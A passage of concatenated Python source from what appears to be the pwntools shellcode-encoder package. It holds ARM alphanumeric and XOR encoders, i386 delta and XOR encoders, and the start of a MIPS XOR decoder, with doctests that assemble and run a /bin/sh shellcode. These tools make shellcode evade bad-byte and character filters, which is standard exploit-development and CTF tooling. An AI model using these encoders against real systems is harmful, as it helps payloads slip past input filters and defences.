    return encode(raw_bytes, expr=re_printable, *a, **kw)

@LocalContext
def scramble(raw_bytes, *a, **kw):
    """scramble(raw_bytes) -> str

    Encodes the input data with a random encoder.

    Accepts the same arguments as :func:`encode`.
    """
    return encode(raw_bytes, force=1, *a, **kw)






from . import alphanumeric
from . import xor






from ... import shellcraft
from ...asm import asm
from ...context import context
from ...util.fiddling import xor_key
from ...util.lists import group
from ...util.packing import u8
from ..encoder import Encoder


class ArmXorEncoder(Encoder):
    r"""Generates an XOR decoder for ARM.

    >>> context.clear(arch='arm')
    >>> shellcode = asm(shellcraft.sh())
    >>> avoid = 'binsh\x00\n'
    >>> encoded = pwnlib.encoders.arm.xor.encode(shellcode, avoid)
    >>> assert not any(c in encoded for c in avoid)
    >>> p = run_shellcode(encoded)
    >>> p.sendline('echo hello; exit')
    >>> p.recvline()
    'hello\n'
    """

    arch = 'arm'

    decoder = """
    adr r8, payload
    mov r4, #%(length)s
    adr r6, xor_cacheflush
loop:
    cmp  r4, #%(maximum)s
    bxhi r6
    sub  r4, r4, #%(length)s
    ldrb r5, [r8, r4]
    eor  r5, r5, #%(key)s
    strb r5, [r8, r4]
    add  r4, r4, #%(length)s + 1
    b loop

xor_cacheflush:
    %(cacheflush)s
payload:
    """

    blacklist = set("\x01\x80\x03\x85\x04\x07\x87\x0c\x8f\x0f\x16\x1c\x9f\x84\xa0%$'-/\xb0\xbd\x81A@\xc2DG\xc6\xc8OPT\xd8_\xe1`\xe3\xe2\xe5\xe7\xe9\xe8\xea\xe0p\xf7")

    def __call__(self, raw_bytes, avoid, pcreg=''):
        key, xordata = xor_key(raw_bytes, avoid, size=1)
        key          = u8(key)
        maximum      = 256
        length       = len(raw_bytes)
        cacheflush   = shellcraft.arm.linux.cacheflush()
        decoder      = asm(self.decoder % locals())
        return decoder + xordata

encode = ArmXorEncoder()






import random_funcs

# +------------------------------------------------------------------------+ 
# |                    ALPHANUMERIC MANIPULATIONS FUNCTIONS                | 
# +------------------------------------------------------------------------+ 

ALPHANUMERIC_BYTES = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

# return 1 if the byte is alphanumeric 
# ==================================== 
def alphanumeric_check(c):
   if type(c) == int:
      c = chr(c & 0xff)
   return c.isalnum()


# return a random alphanumeric byte 
# ================================= 
def alphanumeric_get_byte():
   return ord(random_funcs.randel(ALPHANUMERIC_BYTES))

# return a randomly selected alphanumeric byte less than max 
# ========================================================== 
#CSE author actually returns a byte <= max, not strictly < max
def alphanumeric_get_byte_ltmax(max):
   sz = 0
   while sz < len(ALPHANUMERIC_BYTES) and ord(ALPHANUMERIC_BYTES[sz]) <= max:
      sz += 1
   return ord(random_funcs.randel(ALPHANUMERIC_BYTES[:sz]))

# generate an alphanumeric offset such that c+offset is also alphanumeric 
# ======================================================================= 
def off_gen(c):
   if c >= 0 and c <= 0x4a:
      max = 16 * 7 + 10 - c
      while True:
         x = alphanumeric_get_byte_ltmax(max)
         if alphanumeric_check(c + x):
            return x
   return 0

# return an alphanumeric value ret such that c XOR ret is also alphanumeric 
# ========================================================================= 
def alphanumeric_get_complement(c):
   c &= 0xff;
   while True:
      ret = alphanumeric_get_byte()
      if alphanumeric_check(c ^ ret):
         return ret












import os
import random
import struct


# +------------------------------------------------------------------------+
# |                       RANDOM NUMBERS FUNCTIONS                         |
# +------------------------------------------------------------------------+

# get a random integer i (0<=i<max)
# =================================
def random_get_int(max):
   return random.randint(0, max-1)
   return struct.unpack("I", os.urandom(4))[0] % max

def randel(arr):
   return arr[random_get_int(len(arr))]

def enc_data_msn(c, i):
   # c is the lsn to be encoded with a msn
   # lsn = least significant nibble  msn = most significant nibble
   if c <= i:
      if c == 0:
         #Randomly select and return from {5,7}
         return randel([5, 7])
      else:
         #Randomly select and return from {4,5,6,7}
         return randel([4,5,6,7])
   elif c == 0:
      #Randomly select and return from {3,5,7}
      return randel([3,5,7])
   elif c <= 0x0A:
      #Randomly select and return from {3,4,5,6,7}
      #CSE Why doesn't the author use 3 below then?
      return randel([4,5,6,7])
   else:
      return randel([4,6])






import binascii
import random
import string
import sys

import builder

from ....context import context
from ...encoder import Encoder


class ArmEncoder(Encoder):
    arch = 'arm'

    blacklist  = {chr(c) for c in range(256) if chr(c) in (string.ascii_letters + string.digits)}

    def __call__(self, input, avoid, pcreg=None):

        icache_flush = 1

        # If randomization is disabled, ensure that the seed
        # is always the same for the builder.
        state = random.getstate()
        if not context.randomize:
            random.seed(1)

        try:
            b = builder.builder()

            enc_data = b.enc_data_builder(input)
            dec_loop = b.DecoderLoopBuilder(icache_flush)
            enc_dec_loop = b.encDecoderLoopBuilder(dec_loop)
            dec = b.DecoderBuilder(dec_loop, icache_flush)

            output,dec = b.buildInit(dec);

            output += dec
            output += enc_dec_loop
            output += enc_data

        finally:
            random.setstate(state)

        return output

class ThumbEncoder(ArmEncoder):
    arch = 'thumb'

    to_thumb = '\x01\x30\x8f\xe2\x13\xff\x2f\xe1'

    def __call__(self, input, avoid, pcreg=None):
        return super(ThumbEncoder, self).__call__(self.to_thumb + input, avoid, pcreg)

encode = ArmEncoder()
ThumbEncoder()






import alphanum_byte
import ARM_Instructions
import random_funcs

#+---------------------------------------------------+*/
#|                Builder Functions                  |*/
#+---------------------------------------------------+*/

EOR = 1
SUB = 2
RSB = 3
MI  = 4
PL  = 5
LDR = 6
STR = 7
LDM = 8
STM = 9
ROR = 10
LSR = 11

class builder:

   def __init__(self):
      self.I = 0
      self.size = 0
      self.i = 0
      self.j = 0
      self.k = 0
      self.x = 0
      self.addr = 0
      self.addr_offset = 0

   def enc_data_builder(self, input):
      if len(input) == 0:
         return ''
      output = ''
      arr = [1,2,3,4,5,6,7,8,9]
      self.I = random_funcs.randel(arr)
      p = 0
      for p in range(len(input)):
         ab = input[p]
         b = ord(ab) & 0x0f
         e0 = random_funcs.enc_data_msn(b, self.I)
         e0 = e0 << 4
         ef = e0 | b
         d = ((ord(ab) & 0xf0) ^ e0) >> 4
         c0 = random_funcs.enc_data_msn(d, self.I) << 4
         cd = c0 | d
         output += chr(cd & 0xff)
         output += chr(ef & 0xff)
      #Last two bytes to stop the decoder_loop*/
      max = 0x30 | self.I
      output += chr(alphanum_byte.alphanumeric_get_byte())
      output += chr(alphanum_byte.alphanumeric_get_byte_ltmax(max))
      return output

   def DecoderLoopBuilder(self, icache_flush):
      dec_loop = ''
      # Select p,s,t and q */
      arr = [3, 7]
      p = random_funcs.randel(arr)
      if p == 3:
         s = 7
      else:
         s = 3
      t = 6
      arr2 = [8, 9]
      q = random_funcs.randel(arr2)

      # Add the instructions*/
      if icache_flush != 0:
         dec_loop += ARM_Instructions.swi(MI)

      rsalnum = alphanum_byte.alphanumeric_get_byte()

      if icache_flush != 0:
         #EORMIS rp, r4, #(randomly selected alphanumeric value)*/
         dec_loop += ARM_Instructions.dpimm(EOR, MI, 1, p, 4, rsalnum)

      if icache_flush == 1:
         dist = 0x2c
      else:
         dist = 0x28

      offset = alphanum_byte.off_gen(dist + 0x04)

      #SUBPL rs, r4, #(dist+0x04+offset)*/
      dec_loop += ARM_Instructions.dpimm(SUB, PL, 0, s, 4, chr(dist + 0x04 + offset))

      #SUBPL rs, pc, rs LSR r4*/
      dec_loop += ARM_Instructions.dpshiftreg(SUB, 0, s, 0x0f, s, LSR, 4)

      #EORPLS rt, r4, rs LSR r4*/
      dec_loop += ARM_Instructions.dpshiftreg(EOR, 1, t, 4, s, LSR, 4)

      #EORMIS rp, r4, #rsalnum*/
      rsalnum = alphanum_byte.alphanumeric_get_byte()
      dec_loop += ARM_Instructions.dpimm(EOR, MI, 1, p, 4, rsalnum)

      #LDRPLB rp, [rs, #(-offset)]*/
      dec_loop += ARM_Instructions.lsbyte(LDR, PL, p, s, offset)

      #SUBPL rs, rs, r5 LSR r4*/
      dec_loop += ARM_Instructions.dpshiftreg(SUB, 0, s, s, 5, LSR, 4)

      #LDRPLB rq, [rs, #(-offset)]*/
      dec_loop += ARM_Instructions.lsbyte(LDR, PL, q, s, offset)

      #EORPLS rp, rq, rp ROR #28*/
      dec_loop += ARM_Instructions.dpshiftimm(EOR, 1, p, q, p, 28)

      #STRPLB rp, [rt, #(-offset)]*/
      dec_loop += ARM_Instructions.lsbyte(STR, PL, p, t, offset)

      #SUBPL rt, rt, r5 LSR r4*/
      dec_loop += ARM_Instructions.dpshiftreg(SUB, 0, t, t, 5, LSR, 4)

      #SUBPL rs, rs, r5 LSR r4*/
      dec_loop += ARM_Instructions.dpshiftreg(SUB, 0, s, s, 5, LSR, 4)

      #RSBPLS rq, rq, #0x3I*/
      dec_loop += ARM_Instructions.dpimm(RSB, PL, 1, q, q, 0x30 | self.I)

      #BMI 0xfffff4*/
      dec_loop += ARM_Instructions.bmi()

      #STRPLB r4, [rt, #-(offset+1)]*/
      dec_loop += ARM_Instructions.lsbyte(STR, PL, 4, t, offset + 1)

      if icache_flush == 1:
         #SWIPL 0x9f0002*/
         dec_loop += ARM_Instructions.swi(PL)
      return dec_loop

   def encDecoderLoopBuilder(self, input):
      output = ''
      if len(input) == 0:
         return output
      for p in input:
         if not alphanum_byte.alphanumeric_check(p):
            output += chr(alphanum_byte.alphanumeric_get_byte())
         else:
            output += p
      return output

   def DecoderBuilder(self, input, icache_flush):
      if len(input) == 0:
         return ''
      output = ''

      #Register selections*/
      arr = [4,6]
      self.addr  = random_funcs.randel(arr)
      arr2 = [3, 5, 7]
      self.i = random_funcs.randel(arr2)
      arr3 = [0, 0]
      q = 0
      for p in range(3):
         if arr2[p] != self.i:
            arr3[q] = arr2[p]
            q += 1
      self.j = random_funcs.randel(arr3)
      for p in range(2):
         if arr3[p] != self.j:
            self.k = arr3[p]
            break

      self.x = alphanum_byte.off_gen(0x01)
      offset = 0x91
      if icache_flush != 0:
         output += self.algo1(input, 0, 3)
         output += self.gap_traverse(0x1e)
         output += self.algo1(input, 33, 5)
      else:
         output += self.gap_traverse(0x19)
         output += self.algo1(input, 25, 5)
      output += self.gap_traverse(0x0f)
      if icache_flush != 0:
         output += self.algo1(input, 53, 15)
      else:
         output += self.algo1(input, 45, 11)
      #trucate the last instruction, which increments raddr by 1, from the output*/
      output = output[:-4]
      self.size -= 4
      #Setting r0, r1, r2 for parameter passing*/
      #SUBPLS ri, ri, #x*/
      output += ARM_Instructions.dpimm(SUB, PL, 1, self.i, self.i, self.x)
      #SUBPL r4, ri, ri LSR ri*/
      output += ARM_Instructions.dpshiftreg(SUB, 0, 4, self.i, self.i, LSR, self.i)
      #SUBPL r6, ri, ri LSR ri*/
      output += ARM_Instructions.dpshiftreg(SUB, 0, 6, self.i, self.i, LSR, self.i)
      #SUBPL r5, rj, r4 ROR r6*/
      output += ARM_Instructions.dpshiftreg(SUB, 0, 5, self.j, 4, ROR, 6)

      self.size += 4 * 4

      if icache_flush:
         arr4 = [3,7]
         m = random_funcs.randel(arr4)

         c = alphanum_byte.off_gen(24)
         arr5 = [2,4,6,8,10,12,14,16,18]
         arr6 = [4,6]
         arr7 = [1,2,4,8]
         reglH = 0x40 | random_funcs.randel(arr7)
         #SUBPL rm, sp, #(c+24) */
         output += ARM_Instructions.dpimm(SUB, PL, 0, m, 13, c + 24)

         #Store 4 0x00*/
         #STRPLB random_funcs.randel(arr6), [!rm, -(r5 ROR #random_funcs.randel(arr5))]*/
         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))
         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))
         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))
         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))

         #Store 4 0xff*/
         #STRPLB r5, [!rm, -(r5 ROR #random_funcs.randel(arr5))]*/
         output += ARM_Instructions.sbyteposti(5, m, 5, random_funcs.randel(arr5))
         output += ARM_Instructions.sbyteposti(5, m, 5, random_funcs.randel(arr5))
         output += ARM_Instructions.sbyteposti(5, m, 5, random_funcs.randel(arr5))
         output += ARM_Instructions.sbyteposti(5, m, 5, random_funcs.randel(arr5))

         #Store 4 0x00*/
         #STRPLB random_funcs.randel(arr6), [!rm, -(r5 ROR #random_funcs.randel(arr5))]*/
         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))
         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))
         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))
         output += ARM_Instructions.sbyteposti(random_funcs.randel(arr6), m, 5, random_funcs.randel(arr5))

         #SUBPL rm, sp, #c*/
         output += ARM_Instructions.dpimm(SUB, PL, 0, m, 13, c)

         #LDMPLDB rm!, {r0, r1, r2, r6, r8/9/10/11, r14}*/
         output += ARM_Instructions.lmul(m, reglH, 0x47)

         #SUBPLS rm, r5, r4 ROR rm*/
         output += ARM_Instructions.dpshiftreg(SUB, 1, m, 5, 4, ROR, m)

         self.size += 4 * 16
      return output

   def algo1(self, input, begin_inp, iter):
      if len(input) == 0:
         return ''
      output = ''
      offset = 0x91
      for p in range(begin_inp, begin_inp + iter):
         y = ord(input[p])
         if alphanum_byte.alphanumeric_check(y):
            #SUBPL raddr, raddr, rj ROR rk*/
            output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)
            self.size += 4
            continue
         if y >= 0x80:
            if alphanum_byte.alphanumeric_check(~y):
               #EORPLS rk, rj, #~y*/
               output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.j, ~y)
               #STRMIB rk, [raddr, #(-offset)]*/
               output += ARM_Instructions.lsbyte(STR, MI, self.k, self.addr, offset)
               #SUBMIS rk, ri, #x*/
               output += ARM_Instructions.dpimm(SUB, MI, 1, self.k, self.i, self.x)
               #SUBPL raddr, raddr, rj ROR rk*/
               output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)

               self.size += 4 * 4
               continue

            a = alphanum_byte.alphanumeric_get_complement(~y)
            b = (a ^ ~y) & 0xff
            #EORPLS rk, rj, #a*/
            output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.j, a)
            #EORMIS  rk,  rk, #b*/
            output += ARM_Instructions.dpimm(EOR, MI, 1, self.k, self.k, b)
            #STRMIB rk, [raddr, #(-offset)]*/
            output += ARM_Instructions.lsbyte(STR, MI, self.k, self.addr, offset)
            #SUBMIS rk, ri, #x*/
            output += ARM_Instructions.dpimm(SUB, MI, 1, self.k, self.i, self.x)
            #SUBPL raddr, raddr, rj ROR rk*/
            output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)

            self.size += 4 * 5
            continue
         if self.x > y:
            z1 = self.x - y
            if alphanum_byte.alphanumeric_check(z1):
               #SUBPL rk, ri, #z*/
               output += ARM_Instructions.dpimm(SUB, PL, 0, self.k, self.i, z1)
               #STRPLB rk, [raddr, #(-offset)]*/
               output += ARM_Instructions.lsbyte(STR, PL, self.k, self.addr, offset)
               #SUBPL raddr, raddr, rj ROR rk*/
               output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)

               self.size += 4 * 3
               continue
         z2 = self.x + y
         if alphanum_byte.alphanumeric_check(z2):
            #RSBPL rk, ri, #z*/
            output += ARM_Instructions.dpimm(RSB, PL, 0, self.k, self.i, z2)
            #STRPLB rk, [raddr, #(-offset)]*/
            output += ARM_Instructions.lsbyte(STR, PL, self.k, self.addr, offset)
            #SUBPL raddr, raddr, rj ROR rk*/
            output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)

            self.size += 4 * 3
            continue
         z3 = self.x ^ y
         if alphanum_byte.alphanumeric_check(z3):
            #EORPLS rk, ri, #z*/
            output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.i, z3)
            #STRPLB rk, [raddr, #(-offset)]*/
            output += ARM_Instructions.lsbyte(STR, PL, self.k, self.addr, offset)
            #SUBPL raddr, raddr, rj ROR rk*/
            output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)

            self.size += 4 * 3
            continue
         a2 = alphanum_byte.alphanumeric_get_complement(z3)
         b2 = a2 ^ z3
         #EORPLS rk, ri, #a*/
         output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.i, a2)
         #EORPLS rk, rk, #b*/
         output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.k, b2)
         #STRPLB rk, [raddr, #(-offset)]*/
         output += ARM_Instructions.lsbyte(STR, PL, self.k, self.addr, offset)
         #SUBPL raddr, raddr, rj ROR rk*/
         output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.j, ROR, self.k)

         self.size += 4 * 4


      return output

   def gap_traverse(self, gap):
      output = ''
      g = alphanum_byte.off_gen(gap)
      h = g + gap
      #SUBPL rj, ri, #x*/
      output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.i, self.x)
      #EORPLS rk, rj, #g*/
      output += ARM_Instructions.dpimm(EOR, PL, 1, self.k, self.j, g)
      #SUBPL rk, rk, #h*/
      output += ARM_Instructions.dpimm(SUB, PL, 0, self.k, self.k, h)
      #SUBPL raddr, raddr, rk LSR rj*/
      output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, self.addr, self.k, LSR, self.j)
      #SUBPL rj, ri, #(x+1)*/
      output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.i, self.x + 1)

      self.size += 4 * 5
      return output


   def buildInit(self, input):
      if len(input) == 0:
         return ('', input)
      output = ''

      #Select values of v and w*/
      total = 0x70
      arr1 = [0x30, 0x34, 0x38]
      v1 = random_funcs.randel(arr1)
      v2 = random_funcs.randel(arr1)

      topv = ((total - (v1 + v2))/4) + 1

      w1 = random_funcs.randel(arr1)
      w2 = random_funcs.randel(arr1)

      topw = ((total - (w1 + w2))/4) + 2

      arrop = [EOR, SUB, RSB]
      arrcond = [PL, MI]
      arrs = [0, 1]
      arrd = [3, 5, 7]
      arrn = [1, 2, 3, 4, 5, 6, 7, 8, 9]
      p = 1
      while p <= ((total-8)/4):
         op = random_funcs.randel(arrop)
         cond = random_funcs.randel(arrcond)
         if op == EOR:
            s = 1
         else:
            s = random_funcs.randel(arrs)
         d = random_funcs.randel(arrd)
         n = random_funcs.randel(arrn)
         if p == topv or p == topw:
            output += ARM_Instructions.dpimm(op, cond, s, d, n, self.x)
         else:
            output += ARM_Instructions.dpimm(op, cond, s, d, n, alphanum_byte.alphanumeric_get_byte())
         p += 1

      #SUBPL ri, pc, #v1*/
      output += ARM_Instructions.dpimm(SUB, PL, 0, self.i, 15, v1)
      #SUBMI ri, pc, #w1*/
      output += ARM_Instructions.dpimm(SUB, MI, 0, self.i, 15, w1)
      #LDRPLB ri, [ri, #(-v2)]*/
      output += ARM_Instructions.lsbyte(LDR, PL, self.i, self.i, v2)
      #LDRMIB ri, [ri, #(-w2)]*/
      output += ARM_Instructions.lsbyte(LDR, MI, self.i, self.i, w2)

      output += self.algo2()

      #SUBPL rj, ri, #(x+1)*/
      output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.i, self.x + 1)
      #Initializer built!!*/

      #Replace 0x91s in decoder with addr_offset*/
      input_new = ''
      for p in input:
         if p == "\x91":
            input_new += chr(self.addr_offset)
         else:
            input_new += p
      return (output, input_new)

   def algo2(self):
      output = ''
      self.size += 4
      #SUBMIS rk, ri, #x*/
      output += ARM_Instructions.dpimm(SUB, MI, 1, self.k, self.i, self.x)
      #SUBPLS rk, ri, #x*/
      output += ARM_Instructions.dpimm(SUB, PL, 1, self.k, self.i, self.x)
      #SUBPL rj, ri, #x*/
      output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.i, self.x)

      quo = (self.size - 4) / 0x7a
      if quo >= 1:
         for p in range(quo):
            #SUBPL rj, rj, #0x7a*/
            output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, 0x7a)

      rem = (self.size - 4) % 0x7a
      if rem >= 1 and rem <= 0x4a:
         self.addr_offset = alphanum_byte.off_gen(rem)
         #SUBPL rj, rj, #(offset+rem)*/
         output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, self.addr_offset + rem)

      if rem >= 0x4b and rem < 0x7a:
         if alphanum_byte.alphanumeric_check(rem):
            self.addr_offset = alphanum_byte.alphanumeric_get_byte()
            #SUBPL rj, rj, #(rem)*/
            output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, rem)
            #SUBPL rj, rj, #(offset)*/
            output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, self.addr_offset)
         else:
            self.addr_offset = alphanum_byte.off_gen(rem - 0x5a)
            #SUBPL rj, rj, #0x5a*/
            output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, 0x5a)
            #SUBPL rj, rj, #(offset + (rem - 0x5a))*/
            output += ARM_Instructions.dpimm(SUB, PL, 0, self.j, self.j, self.addr_offset + rem - 0x5a)

      #SUBPL raddr, pc, rj ROR rk*/
      output += ARM_Instructions.dpshiftreg(SUB, 0, self.addr, 15, self.j, ROR, self.k)
      return output








# +------------------------------------------------------------------------+ 
# |                        ARM Instructions                                | 
# +------------------------------------------------------------------------+ 


EOR = 1
SUB = 2
RSB = 3
MI  = 4
PL  = 5 
LDR = 6
STR = 7
LDM = 8
STM = 9
ROR = 10
LSR = 11

# (EOR/SUB/RSB)(PL/MI){S} rd, rn, #imm 
# ==================================== 
def dpimm(op, cond, s, d, n, imm):
   if type(imm) == int:
      x = chr(imm & 0xff)
   else:
      x = imm
   x += chr((d << 4) & 0xff)
   if s:
      if op == EOR:
         x += chr(0x30 | n)
      if op == SUB:
         x += chr(0x50 | n)
      if op == RSB:
         x += chr(0x70 | n)
   else:
      if op == SUB:
         x += chr(0x40 | n)
      if op == RSB:
         x += chr(0x60 | n)
   if cond == PL:
      x += "\x52"
   else:
      x += "\x42"
   return x
   
# (EOR/SUB/RSB)PL{S} rd, rn, ra ROR #imm 
# ====================================== 
def dpshiftimm(op, s, d, n, a, imm):
   x = chr(0x60 | a)
   x += chr(((d << 4)| (imm >> 1)) & 0xff)
   if s:
      if op == EOR:
         x += chr(0x30 | n)
      if op == SUB:
         x += chr(0x50 | n)
      if op == RSB:
         x += chr(0x70 | n)
   else:
      if op == SUB:
         x += chr(0x40 | n)
      if op == RSB:
         x += chr(0x60 | n)
   return x + "\x50" 

# (EOR/SUB/RSB)PL{S} rd, rn, ra (ROR/LSR) rb 
# ========================================== 
def dpshiftreg(op, s, d, n, a, shift, b):
   x = ''
   if shift == LSR:
      x += chr(0x30 | a)
   else:
      x += chr(0x70 | a)
   x += chr(((d << 4) | b) & 0xff)
   if s != 0:
      if op == EOR:
         x += chr(0x30 | n)
      if op == SUB:
         x += chr(0x50 | n)
      if op == RSB:
         x += chr(0x70 | n)
   else:
      if op == SUB:
         x += chr(0x40 | n)
      if op == RSB:
         x += chr(0x60 | n)
   return x + "\x50"

# (LDR/STR)(PL/MI)B rd, [rn, #-imm] 
# ================================= 
def lsbyte(op, cond, d, n, imm):
   if type(imm) == int:
      x = chr(imm & 0xff)
   else:
      x = imm
   x += chr((d << 4) & 0xff)
#   x = chr(imm) + chr((d << 4) & 0xff)
   if op == STR:
      x += chr(0x40 | n)
   else:
      x += chr(0x50 | n)
   if cond == PL:
      x += "\x55"
   else:
      x += "\x45"
   return x

# STMPLFD rd, (Register List)^ 
# ============================ 
def smul(d, reglH, reglL):
   return chr(reglL) + chr(reglH) + chr(0x40 | d) + "\x59"

# LDMPLDB rn!, (Register List) 
# ============================ 
def lmul(n, reglH, reglL):
   return chr(reglL) + chr(reglH) + chr(0x30 | n) + "\x59"

# SWI(PL/MI) 0x9f0002 
# ============== 
def swi(cond):
   x = "\x02\x00\x9f"
   if cond == MI:
      x += "\x4f"
   else:
      x += "\x5f"
   return x

# BMI 0xfffff4 
# ============ 
def bmi():
   return "\xf4\xff\xff\x4b"

# STRPLB rd, [!rn, -(rm ROR #imm)] with P=0 i.e. post-indexed addressing mode 
# =========================================================================== 
def sbyteposti(d, n, m, imm):
   x = chr(0x60 | m)
   x += chr(((d << 4) | (imm >> 1)) & 0xff)
   x += chr(0x40 | n)
   x += "\x56"
   return x






import collections
from random import choice
from random import randint

from ...asm import asm
from ...asm import disasm
from ...context import context
from ...util.fiddling import hexdump
from ..encoder import Encoder


'''
base:
    fnop
    cld
    fnstenv     [esp - 0xc]
    pop         esi
    /* add esi, data - base */
    .byte 0x83, 0xc6, data - base
    mov edi, esi
next:
    lodsb
    xchg        eax, ebx
    lodsb
    sub         al, bl
    stosb
    sub         bl, 0xac
    jnz         next

data:
'''

class i386DeltaEncoder(Encoder):
    r"""
    i386 encoder built on delta-encoding.

    In addition to the loader stub, doubles the size of the shellcode.

    Example:

        >>> sc = pwnlib.encoders.i386.delta.encode('\xcc', '\x00\xcc')
        >>> e  = ELF.from_bytes(sc)
        >>> e.process().poll(True)
        -5
    """

    arch       = 'i386'
    stub       = None
    terminator = 0xac
    raw        = '\xd9\xd0\xfc\xd9t$\xf4^\x83\xc6\x18\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'

    blacklist  = set(raw)

    def __call__(self, bytes, avoid, pcreg=''):
        table = collections.defaultdict(lambda: [])
        endchar = ''

        not_bad = lambda x: chr(x) not in avoid
        not_bad_or_term = lambda x: not_bad(x) and x != self.terminator

        for i in filter(not_bad_or_term, range(0, 256)):
            endchar += chr(i)
            for j in filter(not_bad, range(0, 256)):
                table[(j - i) & 0xff].append(chr(i) + chr(j))

        res = self.raw

        for c in bytes:
            a = ord(c)
            l = len(table[a])
            if l == 0:
                print 'No encodings for character %02x' % a
                return None

            res += table[a][randint(0, l - 1)]

        res += chr(self.terminator)
        res += choice(endchar)

        return res

encode = i386DeltaEncoder()






from . import delta
from . import xor






#!/usr/bin/env python2
# Source:
# http://www.iodigitalsec.com/python-cascading-xor-polymorphic-shellcode-generator/
#
# License:
#; Title Python XOR Shellcode Encoder
#; Author npn <npn at iodigitalsec dot com>
#; License http://creativecommons.org/licenses/by-sa/3.0/
#; Legitimate use and research only
#; This program is distributed in the hope that it will be useful,
#; but WITHOUT ANY WARRANTY; without even the implied warranty of
#; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

from ... import shellcraft
from ...asm import asm
from ...context import context
from ...util.fiddling import xor_pair
from ...util.lists import group
from ..encoder import Encoder


# Note shellcode assumes it's based at ecx

class i386XorEncoder(Encoder):
    r"""Generates an XOR decoder for i386.

    >>> context.clear(arch='i386')
    >>> shellcode = asm(shellcraft.sh())
    >>> avoid = '/bin/sh\xcc\xcd\x80'
    >>> encoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)
    >>> assert not any(c in encoded for c in avoid)
    >>> p = run_shellcode(encoded)
    >>> p.sendline('echo hello; exit')
    >>> p.recvline()
    'hello\n'
    """

    arch = 'i386'

    stub = None

    decoder = '''
start:
    fnop
    fnstenv [esp-0xc]
    pop esi
    cld
    %s
    /* add esi, offset */
    .byte 0x83, 0xc6, (end-start)
    mov edi, esi
loop:
    lodsd
    xchg eax, ebx
    lodsd
    xor  eax, ebx
    stosd
    dec ecx
    jnz loop
end:
'''

    blacklist = set('\x14$1I^tu\x83\x89\x93\xab\xad\xc6\xd8\xd9\xf4\xf7\xfc')

    def __call__(self, raw_bytes, avoid, pcreg=''):
        while len(raw_bytes) % context.bytes:
            raw_bytes += '\x00'

        a, b = xor_pair(raw_bytes, avoid)

        mov_ecx = shellcraft.i386.mov('ecx', len(raw_bytes) / context.bytes)
        decoder = self.decoder % mov_ecx
        decoder = asm(decoder)

        for left, right in zip(group(context.bytes, a), group(context.bytes, b)):
            decoder += left
            decoder += right

        return decoder

encode = i386XorEncoder()






from . import xor






#!/usr/bin/env python2
# Source:
# https://github.com/zcutlip/bowcaster/blob/master/src/bowcaster/encoders/mips.py
#
# Copyright (c) 2013 Zachary Cutlip <uid000@gmail.com>,
#               2013 Tactical Network Solutions, LLC
#
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
# of the Software, and to permit persons to whom the Software is furnished to do
# so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

from ... import shellcraft
from ...asm import asm
from ...context import context
from ...util.fiddling import xor_key
from ..encoder import Encoder

decoders = {
    'little': ''.join([
    "SIZ2SIZ1\x0e\x24",    # li t6,-5
    "\x27\x70\xc0\x01",    # nor    t6,t6,zero
    "\xa3\xff\x0b\x24",    # li t3,-93
    "\x26\x40\xce\x01",    # xor    t0,t6,t6
    "\xff\xff\x08\x21",    # addi   t0,t0,-1
    "\xff\xff\x10\x05",    # bltzal t0,14 <next>
